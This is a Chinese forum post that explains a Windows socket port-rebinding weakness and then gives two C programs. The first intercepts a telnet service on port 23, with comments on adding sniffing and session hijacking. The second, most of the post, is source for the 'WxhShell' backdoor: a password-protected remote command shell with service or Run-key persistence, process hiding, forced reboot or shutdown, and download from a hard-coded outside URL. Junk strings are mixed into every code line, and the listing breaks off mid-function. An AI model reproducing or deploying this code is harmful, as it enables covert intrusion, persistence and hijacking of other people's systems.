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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l84h%,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u3Zzu\{  
LL|_c4$Ky  
  saddr.sin_family = AF_INET; pieU|?fQ  
Jo6~r-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J>HLQP  
5en [)3E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t 3(%UB  
zznPD%#Sc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?RgU6/2  
/3)YWFZZc  
  这意味着什么?意味着可以进行如下的攻击: l%sp[uqcg  
w?V[[$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ee t+  
w\"n!^ms  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $\YLmG  
q|47;bK'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hj5WJ{p.  
2a._?(k_y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xJ[k#?T'  
Sb:zN'U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U/1[~429  
|d/x~t=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R,d70w (_  
yNhscAMNn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Dyouk+08x  
Vq\..!y  
  #include E6k?+i w  
  #include *!r\GGb  
  #include *f0.=?  
  #include    )AnlFO+V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h30QCk  
  int main() DJ mQZ+{2  
  { Y2=Brtc[@  
  WORD wVersionRequested; Oi kU$~|  
  DWORD ret; jM3Y|}+  
  WSADATA wsaData; SCfkv|hO  
  BOOL val; DuO%B  
  SOCKADDR_IN saddr; V 9QvQA r  
  SOCKADDR_IN scaddr; zulf%aaL  
  int err; a O"nD_7  
  SOCKET s; YmO"EWb  
  SOCKET sc; 7U{b+=,wK  
  int caddsize; {0A[v}X ~  
  HANDLE mt; hVT=j ?~  
  DWORD tid;   #czyr@  
  wVersionRequested = MAKEWORD( 2, 2 ); -~<q,p"e  
  err = WSAStartup( wVersionRequested, &wsaData ); 5,0 wj0l  
  if ( err != 0 ) { E+^} B/"  
  printf("error!WSAStartup failed!\n"); d}wa[WRv   
  return -1; =& Tu`m  
  } Zv1Bju*y  
  saddr.sin_family = AF_INET; 7'{Yz  
   r'9=k x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~*' 8=D?)  
| z(Ws  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |oBdryi  
  saddr.sin_port = htons(23); VeN&rjc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T4HoSei  
  { _M"$5 T  
  printf("error!socket failed!\n"); mf*9^}l+Zn  
  return -1; G>q{~HE1  
  } RK~FT/  
  val = TRUE; So)KI_M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (v'lb!j^#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _Y ><ih  
  { 0'\FrG  
  printf("error!setsockopt failed!\n"); k@t,[  
  return -1; PO%yWns30o  
  } g<hv7?"[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p+`*~6Jj/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '.h/Y/oz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ir@N>_  
f1]AfH#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "#\bQf}  
  { A=qW]Im  
  ret=GetLastError(); 3'sWlhf;  
  printf("error!bind failed!\n"); }<\65 B$1  
  return -1; d,oOn.n&  
  } +4:+qGAJ{  
  listen(s,2); B GEJiLH  
  while(1) ktw!T{  
  { G7_"^r%c9;  
  caddsize = sizeof(scaddr); wWOT*R_  
  //接受连接请求 2ucF( ^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MR)KLM0  
  if(sc!=INVALID_SOCKET) *v:,rh  
  { QzFv;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &Xl_sDvt  
  if(mt==NULL) z[lRb]:i[  
  { m|ERf2-  
  printf("Thread Creat Failed!\n"); kXZV%mnT7  
  break; UB&S 2g  
  } rt@-Pw!B  
  } e\ l,gQP  
  CloseHandle(mt); S)'q:`tZo  
  } YAC zznN  
  closesocket(s); )(ZPSg$/F  
  WSACleanup(); o wpJ7S1~  
  return 0; #`vGg9  
  }   ILr6W@o5A  
  DWORD WINAPI ClientThread(LPVOID lpParam) @Pb 1QLiz  
  { d"d)<f   
  SOCKET ss = (SOCKET)lpParam; %\{?(baOA  
  SOCKET sc; Ji}IV  
  unsigned char buf[4096]; (y+5d00  
  SOCKADDR_IN saddr; aD/,c1  
  long num; zIYr0k*%  
  DWORD val; ?;KJ (@Va  
  DWORD ret; 3Ibt'$dK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dVmAMQk.g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <1g1hqK3  
  saddr.sin_family = AF_INET; 4|Gs(^nU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |7'yk__m  
  saddr.sin_port = htons(23); ]g-qWSKU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J|2Hqd  
  { A6x_!  
  printf("error!socket failed!\n"); ^`>Ysc(@&  
  return -1; zWmo OnK  
  } u.L8tR:(  
  val = 100; ! ^*;c#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v$Y1+Ep9  
  { Yq hz(&*)  
  ret = GetLastError(); 9uq+Ve>  
  return -1; 8apKp?~yW  
  } Pl5NHVr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Uo[5V|>X6  
  { hq8/`u YF  
  ret = GetLastError(); = a.n`3`Q  
  return -1; v!RB(T3  
  } zju,#%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hPXVPLm7I  
  { p|9ECdU>;  
  printf("error!socket connect failed!\n"); dG~B3xg;5i  
  closesocket(sc); ??%T  
  closesocket(ss); RAuAIiQ  
  return -1; d7K17KiC  
  } >->xhlL*  
  while(1) >*i8RqU  
  { #2vG_B<M)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "1`i]Y\'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M Xt +  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qT>& v_<  
  num = recv(ss,buf,4096,0); DdS3<3]A  
  if(num>0) !e\R;bYM  
  send(sc,buf,num,0); 2hA66ar{$  
  else if(num==0) +i_f.Ipp  
  break; CT:eV7<>s  
  num = recv(sc,buf,4096,0); KjfKo;T  
  if(num>0) H"RF[bX(  
  send(ss,buf,num,0); l0_E9qh-i  
  else if(num==0) [U7,\o4w  
  break; OTHd1PSOu  
  } ^xNe Eb  
  closesocket(ss); `# M.t);^  
  closesocket(sc); U*fj5  
  return 0 ; ;7`um  
  } k$x 'v#  
<QW1fE  
:8|3V~%m  
========================================================== *Qwhi&k  
KRR^?  
下边附上一个代码,,WXhSHELL <<zz*;RJJ  
6M vR R  
========================================================== 7 }MJK)  
i~s9Ot  
#include "stdafx.h" Hkz~9p  
+xdFkc  
#include <stdio.h> ,, #rv-*  
#include <string.h> Ho8.-QSG  
#include <windows.h> d!z).G  
#include <winsock2.h> 2c`=S5  
#include <winsvc.h> ?gMrcc/{  
#include <urlmon.h> "KE38`NL  
TN@JPoH  
#pragma comment (lib, "Ws2_32.lib") O+Lb***b"  
#pragma comment (lib, "urlmon.lib") hsVJ&-#  
Sq8Q *  
#define MAX_USER   100 // 最大客户端连接数 B';> Hk  
#define BUF_SOCK   200 // sock buffer T2_#[bk*d  
#define KEY_BUFF   255 // 输入 buffer Ihq@|s8  
v4a4*rBI"  
#define REBOOT     0   // 重启 V?z{UZkR  
#define SHUTDOWN   1   // 关机 vyOC2c8  
`1}?{ud  
#define DEF_PORT   5000 // 监听端口 `iayh  
)Gp\_(9fc  
#define REG_LEN     16   // 注册表键长度 lLFBop  
#define SVC_LEN     80   // NT服务名长度 {UC<I.5X  
;Owu:}   
// 从dll定义API 'CAukk|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {s'_zS z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  p6l@O3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ! E#.WX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %oKqK >S)  
`ur9KP4Dq  
// wxhshell配置信息 A*U'SCg(G  
struct WSCFG { =X5&au o  
  int ws_port;         // 监听端口 &vvx"  
  char ws_passstr[REG_LEN]; // 口令 N\e@$1  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3[i !2iL.  
  char ws_regname[REG_LEN]; // 注册表键名 G$`4.,g  
  char ws_svcname[REG_LEN]; // 服务名 9Kx:^~}20o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >N1]h'q>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y[]+C8"O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HV7(6VSJ+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u0KZrz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qr-J-2s?B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W3/Stt$D  
U5$DJ5>8  
}; K2 K6  
4_0/]:~5  
// default Wxhshell configuration Vg~ kpgB  
struct WSCFG wscfg={DEF_PORT, }w^ T9OC  
    "xuhuanlingzhe", ZBq*<VtV  
    1, )j|y.[  
    "Wxhshell", J9c3d~YW  
    "Wxhshell", D2 cIVx3:(  
            "WxhShell Service", q>4i0p8^  
    "Wrsky Windows CmdShell Service", e+ w  
    "Please Input Your Password: ", C|@k+^S  
  1, Z?aR9OTP  
  "http://www.wrsky.com/wxhshell.exe", w*P4_= :%Y  
  "Wxhshell.exe" yBh"qnOT  
    }; %FFm[[nxI  
=\7p0cq&*  
// 消息定义模块 `v2l1CQ: ^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hg=G//  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w$:)wyR-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =usDI<3r  
char *msg_ws_ext="\n\rExit."; _`[6jhNa!  
char *msg_ws_end="\n\rQuit."; |&'] ms5J  
char *msg_ws_boot="\n\rReboot..."; )t|Q7$ v1  
char *msg_ws_poff="\n\rShutdown..."; !Jn w_)  
char *msg_ws_down="\n\rSave to "; X0QS/S-+  
Ck%(G22-  
char *msg_ws_err="\n\rErr!"; 2Wf qgR[3  
char *msg_ws_ok="\n\rOK!"; v+bjC  
I/V#[KC  
char ExeFile[MAX_PATH]; q0Lt[*q3R  
int nUser = 0; #LgoKiP!Y  
HANDLE handles[MAX_USER]; FtDA k?  
int OsIsNt; wSF#;lqd  
j6(IF5MqP  
SERVICE_STATUS       serviceStatus; wO)KQ~yX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8'Bl=C|0X  
l:,UN07s  
// 函数声明 B{(l 5B6  
int Install(void); CHP6H}#|g  
int Uninstall(void); ZM, ^R?e  
int DownloadFile(char *sURL, SOCKET wsh); iB`]Z@ZC  
int Boot(int flag); -"K:ve(K  
void HideProc(void); U)]natB  
int GetOsVer(void); A@AGu#W  
int Wxhshell(SOCKET wsl); A"VXs1>_^  
void TalkWithClient(void *cs); k 0Yixa  
int CmdShell(SOCKET sock); `b'J*4|oGo  
int StartFromService(void); pAmI ](  
int StartWxhshell(LPSTR lpCmdLine); u$p|hd d  
svjFy/T(lL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .: ;Hh~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bXLa~r4\  
Ayt!a+J  
// 数据结构和表定义 tKGsrgoV  
SERVICE_TABLE_ENTRY DispatchTable[] = ^WPV  
{ $KHDS:&  
{wscfg.ws_svcname, NTServiceMain}, U%\2drM&]  
{NULL, NULL} ,#OG/r-H  
}; ulo7d1OVkJ  
=PM#eu  
// 自我安装 l%~zj,ew  
int Install(void) y'/9KrV T  
{ # |[@Due  
  char svExeFile[MAX_PATH]; 'p]qN;`'O$  
  HKEY key; 0\*<k`dY  
  strcpy(svExeFile,ExeFile); 9GaER+d|  
]%hI-  
// 如果是win9x系统,修改注册表设为自启动 vUeel%  
if(!OsIsNt) { Bd[Gsns  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q0Pu6"^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @sO.g_yM  
  RegCloseKey(key); Z@A1+kUS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RE$-{i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f L?~1i =  
  RegCloseKey(key); m uY^Fx  
  return 0; L$Z_j()2  
    } [_1G\z_iE  
  } kO4~N-&  
} ^ ?9 ~R"  
else { ! NE q|Y  
@$G K<jl  
// 如果是NT以上系统,安装为系统服务 imQNfNm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2Jv4l$$;*  
if (schSCManager!=0) )\G#[Pc7  
{ y-k-E/V}  
  SC_HANDLE schService = CreateService vb!KuI!:p  
  ( E#p6A5  
  schSCManager, o!S_j^p[C  
  wscfg.ws_svcname, _nq n|  
  wscfg.ws_svcdisp, }cmL{S  
  SERVICE_ALL_ACCESS, ,DLNI0uV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ')RK(I  
  SERVICE_AUTO_START, 8;3FTF  
  SERVICE_ERROR_NORMAL, ^o:5B%}#[  
  svExeFile, >UH=]$0N  
  NULL, +?tNly`  
  NULL, <{kj}nxz  
  NULL, J1t?Qj;f3  
  NULL, *n5g";k|  
  NULL `<G+ N  
  ); 2eYkWHi  
  if (schService!=0) ~VF,qspO  
  { Mq?21gW  
  CloseServiceHandle(schService); 7?s>u937  
  CloseServiceHandle(schSCManager); *CSFkWVa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GssoT<Y)Z  
  strcat(svExeFile,wscfg.ws_svcname); zv@o- R$l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o\[nGf C&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `#F>?g$2  
  RegCloseKey(key); uESHTX/[  
  return 0; b\mN^P~>A  
    } |lY8u~%  
  } -tZb\4kh  
  CloseServiceHandle(schSCManager); `0N/ /Q  
} \g/E4U .+  
} :;QLoZh^  
[MG:Ym).2`  
return 1;  >TgO|mq  
} P) #rvTDRw  
p*A//^wQ  
// 自我卸载 Dl6zl6q?  
int Uninstall(void) d[de5Xra  
{ 0c) 19Ig  
  HKEY key; YQJ_t@0C  
[ ]NAV  
if(!OsIsNt) { QH:i)v*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Tolz H!  
  RegDeleteValue(key,wscfg.ws_regname); ;$]R#1i44  
  RegCloseKey(key); WxdYvmp6z[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M Cz3RZK  
  RegDeleteValue(key,wscfg.ws_regname); S7R^%Wck/6  
  RegCloseKey(key); FS[CUoA  
  return 0; kJ >B)  
  } Y&?]t  
} xi0&"?7la  
} z`CI gSR  
else { zi'?FM[f)  
xk9]jQ7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); URwFNOM2  
if (schSCManager!=0) Im =E?t  
{ &Jz%L^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q_S fFsY  
  if (schService!=0) 3? "GH1e  
  { Ghz)=3  
  if(DeleteService(schService)!=0) { %* 8QLI  
  CloseServiceHandle(schService); z^]nP 87  
  CloseServiceHandle(schSCManager); qabM@+m[  
  return 0; eZHi6v)i  
  } ;lldxS  
  CloseServiceHandle(schService); >:Ec   
  } -J:vYhq|g  
  CloseServiceHandle(schSCManager); &o(? }W  
} %3cBh v[q4  
} gi8kYHldH  
99x]DY  
return 1; |<S9nZg%p  
} ;a|A1DmZ  
e_e|t>nQ  
// 从指定url下载文件 mGX;JOjZ  
int DownloadFile(char *sURL, SOCKET wsh) 59LIK&w  
{ i^(0,L  
  HRESULT hr; I]h+24_S  
char seps[]= "/"; 4V=dD<3m  
char *token; 3j2}n o8O  
char *file; H$ v4N8D8I  
char myURL[MAX_PATH]; SU1, +7"  
char myFILE[MAX_PATH]; 6YN4]  
9r!%PjNvE  
strcpy(myURL,sURL); cB TMuDT_  
  token=strtok(myURL,seps); p 7sYgz  
  while(token!=NULL) r\yj$Gu>(  
  { )pJzw-m"  
    file=token; ?tBEB5  
  token=strtok(NULL,seps); |tmD`ndO  
  } NWf!c-':  
p?%G|Q  
GetCurrentDirectory(MAX_PATH,myFILE); umj7-fh  
strcat(myFILE, "\\"); v/)dsSNZ0u  
strcat(myFILE, file); ){/y-ixH  
  send(wsh,myFILE,strlen(myFILE),0); WW&0FugY_  
send(wsh,"...",3,0); ~k&b3-A}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x;N?'"GP  
  if(hr==S_OK) JprZ6 >  
return 0; ?/O+5rjA  
else /OZF3Pft  
return 1; c~cYNW:  
?x:\RNB/  
} _)ERi*}x8  
#3.\}d)  
// 系统电源模块 ms~ mg:  
int Boot(int flag) \K?3LtJ  
{ %'P58  
  HANDLE hToken; BPW:W }  
  TOKEN_PRIVILEGES tkp; ]wP)!UZ  
7eY*Y"GX  
  if(OsIsNt) { >_R5Li  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h><;TAp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R|_?yV[  
    tkp.PrivilegeCount = 1; Qv8Z64#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &9'6hMu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KzhldMJ^zq  
if(flag==REBOOT) { @wB$qd;v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >kd2GZe^_J  
  return 0; FG'1;x!  
} i~4:]r22  
else { ,cS|fG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >XA#/K  
  return 0;  N3E=t#n  
} o zv><e#  
  } Lq yY??\@  
  else { _m@QeO'yh  
if(flag==REBOOT) { DS^PHk39  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hD;[}8qN{  
  return 0; |d8/ZD  
} 2/I^:*e  
else { Pb!kl #  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 98A ;R  
  return 0; =3sBWDB[  
} &K}!R$[,:P  
} 2mI=V.X[&  
9c<lFZb;  
return 1; z"R-Sme  
} q[r|p"TGov  
^>[Z~G($  
// win9x进程隐藏模块 RXh/[t+  
void HideProc(void) bA1uh]oB  
{ .aF+>#V=Q  
e1K,4 Bq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R5qC;_0cV  
  if ( hKernel != NULL ) " GgK,d}%  
  { $/6.4" j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \acjv|]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uq7 y4zJ  
    FreeLibrary(hKernel); + 6O5hZ  
  } 'a*tee ^RS  
?DA,]aa-  
return; OLlNCb#t  
} HA>b'lqBM  
w R1M_&-s  
// 获取操作系统版本 $TWt[  
int GetOsVer(void) :FB#,AOa_  
{ Ly lw('zZ  
  OSVERSIONINFO winfo; R9~%ORI#;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?HttqK)  
  GetVersionEx(&winfo); JZ'`.yK:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MJb!+E+  
  return 1; Uk5jZ|  
  else )9,9yd~SI  
  return 0; GAV|x]R  
} /`3< @{D  
byoDGUv  
// 客户端句柄模块 [P407Sa"  
int Wxhshell(SOCKET wsl) 6I"Q9(  
{ |lrLTI^a  
  SOCKET wsh; B<x)^[<v  
  struct sockaddr_in client; 0 @~[SXR  
  DWORD myID; * 3WK`9q  
\-gZ_>)  
  while(nUser<MAX_USER) 1W;q(#q  
{ `A])4q$  
  int nSize=sizeof(client); pS;jrq I#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j-ZKEA{:1  
  if(wsh==INVALID_SOCKET) return 1; I HgYgn  
5Jlz$]f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tUH#%  
if(handles[nUser]==0) Y]Td+ Zi  
  closesocket(wsh); +2 !F6"hP  
else TIYI\/a\;  
  nUser++; YD 1u  
  } x/ lW=EQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XzIhFX6  
G BV]7.  
  return 0; \E5%.KR  
} TeSF  
E80C0Q+V  
// 关闭 socket HI*xk  
void CloseIt(SOCKET wsh) |]w0ytL>(2  
{ {=VauF  
closesocket(wsh); :%~+&qS  
nUser--; -$!`8[fM  
ExitThread(0); ayTEQS  
} 17 Hdj  
O|}97a^  
// 客户端请求句柄 8(&Jy RT  
void TalkWithClient(void *cs) icOh/G=N;  
{ =Wn11JGh  
-Xb]=Yf-  
  SOCKET wsh=(SOCKET)cs; < {$zOF}  
  char pwd[SVC_LEN]; P33x/#VVE  
  char cmd[KEY_BUFF]; u(S~V+<@Z  
char chr[1]; v `9IS+Z  
int i,j; 2&S*> (  
n(\5Z&  
  while (nUser < MAX_USER) { X!KjRP\\  
sluR @[l  
if(wscfg.ws_passstr) { -Zh`h8gX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RoFy2A=_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I4.^I/c(  
  //ZeroMemory(pwd,KEY_BUFF); 5B)Z@-x2  
      i=0; I@76ABu^  
  while(i<SVC_LEN) { zc%#7"FM  
&W)Lzpx8c  
  // 设置超时 t>:2F,0K9  
  fd_set FdRead; c4E=qgP  
  struct timeval TimeOut; cD{I*t$  
  FD_ZERO(&FdRead); SRuNt3wW6  
  FD_SET(wsh,&FdRead);  BR;f!  
  TimeOut.tv_sec=8; OsAH!e  
  TimeOut.tv_usec=0; 1A^~gYr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q[O[,Rk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); </(bwc~2  
$$_aHkI j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  K6d9[;F  
  pwd=chr[0]; (P&~PJH  
  if(chr[0]==0xd || chr[0]==0xa) { -*t4(wT|j  
  pwd=0; AX! YB'm-  
  break; Uax[Zh[Cg  
  } ~vgm; O  
  i++; zBg>I=hiG  
    } &>y[5#qOl  
r*'a-2A u  
  // 如果是非法用户,关闭 socket hY X H9:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aVcQ  
} Rl@k~;VV  
pV bgjJI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Kw)BnV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MdM^!sk&`  
)D?\ru H  
while(1) { / V}>v  
'i#m%D`dt  
  ZeroMemory(cmd,KEY_BUFF); |>(d^<nR^v  
X~wkqI#d%E  
      // 自动支持客户端 telnet标准    JsAl;w  
  j=0; 1ga.%M*  
  while(j<KEY_BUFF) { c]3% wL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f6@fi`U ,  
  cmd[j]=chr[0]; n<\ W Vi  
  if(chr[0]==0xa || chr[0]==0xd) { xLhN3#^m  
  cmd[j]=0;  &0! f_  
  break; 4Rj;lAlwB  
  } s}yJkQb  
  j++; #~<cp)!3  
    } %6rMS}  
M5DQ{d<r  
  // 下载文件  mkH {%7n  
  if(strstr(cmd,"http://")) { O/b~TVA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g$+u;ER5  
  if(DownloadFile(cmd,wsh)) A<-Prvryt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +iKs)s_~  
  else r;m_@*]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V8AF;1c?-'  
  } CZaUrr  
  else { evOy Tvc  
qOOF]L9r%u  
    switch(cmd[0]) { {hYH4a&Hb  
  4pNIsjl}  
  // 帮助 1UG5Q-  
  case '?': { p4mlS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J?4aSssE  
    break; {KkP"j'7h  
  } V}<Hx3!  
  // 安装 P>q"P1&{  
  case 'i': { `\!oY;jk  
    if(Install()) R&Mv|R   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .<ux Z  
    else =D88jkQe"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \z'A6@  
    break; []B9Me  
    } 1HOYp*{#wP  
  // 卸载 R1$O)A}k  
  case 'r': { ;e~Z:;AR  
    if(Uninstall()) VK)1/b=yT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UykOQ-2-n  
    else 2ZHeOKJ-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3u]#Ra~5  
    break; fu3~W  
    } ,=o)R,[  
  // 显示 wxhshell 所在路径 AL*P 2\8  
  case 'p': { %J)n#\  
    char svExeFile[MAX_PATH]; d#~^)r  
    strcpy(svExeFile,"\n\r"); Oa7x(wS  
      strcat(svExeFile,ExeFile); Ut"~I)S{LT  
        send(wsh,svExeFile,strlen(svExeFile),0); R1.No_`PHq  
    break; n27df9L  
    } =R+z\`2  
  // 重启 v4_p3&aj  
  case 'b': { NR3]MGBKv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2BTFK"=U  
    if(Boot(REBOOT)) %{GYTc \'X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cspO5S>#  
    else { 8I=n9Uyz  
    closesocket(wsh); bpq2TgFj  
    ExitThread(0); o#(z*v@  
    } ki/xo^Y2<  
    break; ERSo&8  
    } jY^wqQls  
  // 关机 88c-K{} 3  
  case 'd': { 2 de[ yz  
